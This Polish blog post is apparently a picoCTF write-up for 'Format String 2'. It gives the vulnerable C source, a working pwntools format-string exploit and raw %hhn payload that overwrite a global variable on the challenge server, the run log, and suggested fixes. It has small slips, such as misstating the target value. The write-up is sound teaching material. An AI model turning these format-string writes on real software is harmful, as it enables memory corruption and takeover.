W tym poście chciałbym opisać rozwiązanie zadania Format String 2 z działu Binary Exploration picoCTF.
Do zadania dołączony jest plik binarny ze skompilowanym program oraz plik źródłowy.
Przejrzę narazie plik z kodem:
- #include <stdio.h>
- int sus = 0x21737573;
- int main() {
- char buf[1024];
- char flag[64];
- printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
- fflush(stdout);
- scanf("%1024s", buf);
- printf("Here's your input: ");
- printf(buf);
- printf("\n");
- fflush(stdout);
- if (sus == 0x67616c66) {
- printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
- // Read in the flag
- FILE *fd = fopen("flag.txt", "r");
- fgets(flag, 64, fd);
- printf("%s", flag);
- fflush(stdout);
- }
- else {
- printf("sus = 0x%x\n", sus);
- printf("You can do better!\n");
- fflush(stdout);
- }
- return 0;
- }
Jak można zaobserwować powyżej wyświetlenie i odczytanie flagi następuje gdy zmienna globalna sus dostanie wartość 0x21737573.
Aby zmodyfikować zmienną globalną należy podać jej adres, a dopiero potem wartość. Więc należy sprawdzić adres zmiennej w programie:
- objdump -D vuln | grep sus
- 401273: 8b 05 e7 2d 00 00 mov 0x2de7(%rip),%eax # 404060 <sus>
- 4012df: 8b 05 7b 2d 00 00 mov 0x2d7b(%rip),%eax # 404060 <sus>
- 0000000000404060 <sus>:
Zmienna znajduje się pod adresem 404060.
Jako wskazówka do tego zadania jest informacja, że pwntools może być przydatne do jego rozwiązania.
Spróbuję teraz na jej podstawie przygotować program wprowadzający poprawne wartości:
- from pwn import*
- HOST = "rhea.picoctf.net"
- PORT = <port>
- program = context.binary = ELF('./vuln')
- def exec_fmt(payload):
- p = process(program.path)
- p.sendline(payload)
- return p.recvall()
- autofmt = FmtStr(exec_fmt)
- offset = autofmt.offset
- print(offset)
- print(program.symbols)
- sus_address = 0x404060
- p = remote(HOST, PORT)
- p.sendline(fmtstr_payload(offset, {sus_address: 0x67616c66}))
- info(p.recvall().decode())
- p.close()
Odpowiedź z flagą:
- picoctf@webshell:~/format_string2$ python fs2_1.py
- [*] '/home/picoctf/format_string2/vuln'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
- SHSTK: Enabled
- IBT: Enabled
- Stripped: No
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 718
- [+] Receiving all data: Done (194B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 718)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 721
- [+] Receiving all data: Done (191B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 721)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 724
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 724)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 727
- [+] Receiving all data: Done (191B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 727)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 730
- [+] Receiving all data: Done (194B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 730)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 733
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 733)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 736
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 736)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 739
- [+] Receiving all data: Done (189B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 739)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 742
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 742)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 745
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 745)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 748
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 748)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 751
- [+] Receiving all data: Done (191B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 751)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 754
- [+] Receiving all data: Done (200B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 754)
- [+] Starting local process '/home/picoctf/format_string2/vuln': pid 757
- [+] Receiving all data: Done (204B)
- [*] Process '/home/picoctf/format_string2/vuln' stopped with exit code 0 (pid 757)
- [*] Found format string offset: 14
- {'stdout': 4210792, '__abi_tag': 4195212, 'deregister_tm_clones': 4198736, 'register_tm_clones': 4198784, '__do_global_dtors_aux': 4198848, 'completed.0': 4210800, '__do_global_dtors_aux_fini_array_entry': 4210200, 'frame_dummy': 4198896, '__frame_dummy_init_array_entry': 4210192, '__FRAME_END__': 4202968, '_DYNAMIC': 4210208, '__GNU_EH_FRAME_HDR': 4202756, '_GLOBAL_OFFSET_TABLE_': 4210688, 'stdout@GLIBC_2.2.5': 4210792, 'data_start': 4210768, '_edata': 4210788, '_fini': 4199192, '__data_start': 4210768, 'sus': 4210784, '__dso_handle': 4210776, '_IO_stdin_used': 4202496, '_end': 4210808, '_dl_relocate_static_pie': 4198720, '_start': 4198672, '__bss_start': 4210788, 'main': 4198902, '__TMC_END__': 4210792, '_init': 4198400, 'putchar': 4198564, 'plt.putchar': 4198564, 'puts': 4198580, 'plt.puts': 4198580, 'printf': 4198596, 'plt.printf': 4198596, 'fgets': 4198612, 'plt.fgets': 4198612, 'fflush': 4198628, 'plt.fflush': 4198628, 'fopen': 4198644, 'plt.fopen': 4198644, '__isoc99_scanf': 4198660, 'plt.__isoc99_scanf': 4198660, '__libc_start_main': 4210672, 'got.__libc_start_main': 4210672, '__gmon_start__': 4210680, 'got.__gmon_start__': 4210680, 'got.stdout': 4210792, 'got.putchar': 4210712, 'got.puts': 4210720, 'got.printf': 4210728, 'got.fgets': 4210736, 'got.fflush': 4210744, 'got.fopen': 4210752, 'got.__isoc99_scanf': 4210760}
- [+] Opening connection to rhea.picoctf.net on port <port>: Done
- [+] Receiving all data: Done (594B)
- [*] Closed connection to rhea.picoctf.net port <port>
- [*] You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
- Here's your input: uc \x00 \x00aaaaba`@@
- I have NO clue how you did that, you must be a wizard. Here you go...
- picoCTF{<FLAGA>}
Powyższy program wysyła następujący string:
- b'%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaba`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00'
Mając taki string można go wysłać z pominięciem biblioteki pwn:
- from pwn import*
- HOST = "rhea.picoctf.net"
- PORT = <port>
- p = remote(HOST, PORT)
- p.sendline(b'%102c%20$llnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaaa`@@\x00\x00\x00\x00\x00c@@\x00\x00\x00\x00\x00a@@\x00\x00\x00\x00\x00b@@\x00\x00\x00\x00\x00')
- info(p.recvall().decode())
- p.close()
Dla przypomnienia adres zmiennej to 0x404060, wartość jaka ma zostać wpisana to 0x67616C66 (flag).
Spróbuję teraz opisać dlaczego ten string wygląda w taki sposób:
- %102c - wpisanie 102 znaków. (0x66)
- %20$lln - wprowadzenie 102 (0x66) znaków, wyrównie do wprowadzania danych do pamięci. Zapisanie danych (%n) do 20 argumentu na stosie. Zapisywana jest wartość 64 bitowa.
- c - dodanie znaku, licznik 103 (0x67)
- %21$hhn - zapis jednego bajtu danych do adresu 21 na stosie. Zapisanie 0x67.
- %5c - dodanie 5 znaków. zwiększenie licznika do 108 (0x6C).
- %22$hhn - zapis jednego bajtu danych do 22 argumentu na stosie.
- %245c - zwiększenie licznika do 353 znaków (0x161)
- %23$hhn - zapis danych do 23 argumentu na stosie. Zapis jednego bajtu danych czyli 61.
- aaaaaa - wypełnienie, stosowane do wyrównania danych, przed podaniem adresów.
- @@\x00\x00\x00\x00\x00 - 0x60 0x40 0x40 - zapisuje 0x66
- c@@\x00\x00\x00\x00\x00 - 0x63 0x40 0x40 - zapisuje 0x67
- a@@\x00\x00\x00\x00\x00 - 0x61 0x40 0x40 - zapisuje 0x6C
- b@@\x00\x00\x00\x00\x00 - 0x62 0x40 0x40 - zapisuje 0x61
Adres można też zapisać w nieco bardziej czytelnej formie:
- from pwn import*
- HOST = "rhea.picoctf.net"
- PORT = 59866
- p = remote(HOST, PORT)
- p.sendline(b'%102c%20$hhnc%21$hhn%5c%22$hhn%245c%23$hhnaaaaaa`\x40\x40\x00\x00\x00\x00\x00\x63\x40\x40\x00\x00\x00\x00\x00\x61\x40\x40\x00\x00\x00\x00\x00\x62\x40\x40\x00\x00\x00\x00\x00')
- info(p.recvall().decode())
- p.close()
Nie do końca wiem czemu pierwszy adres musi zapisany w takiej formie (\x40\x40\x00\x00\x00\x00\x00) a nie jako pełny adres (\x60\x40\x40\x00\x00\x00\x00\x00).
Co do zabezpieczenia programu przed atakiem typu format string. Należałoby wprowadzić takie modyfikacje jak:
Zamiana sposobu wyświetlenia wprowadzonych danych:
- printf(buf);
- zamienić na
- printf("%s", buf);
Wprowadzenie ochrony przez przepełnieniem bufora:
- scanf("%1024s", buf);
- zamienić na
- fgets(buf, sizeof(buf), stdin);
Zmienna sus, jest zmienną globalną. Aby utrudnić jej nadpisanie można np. zapisać ją jako const volatile, czy zapisywanie wartości w rejestrze.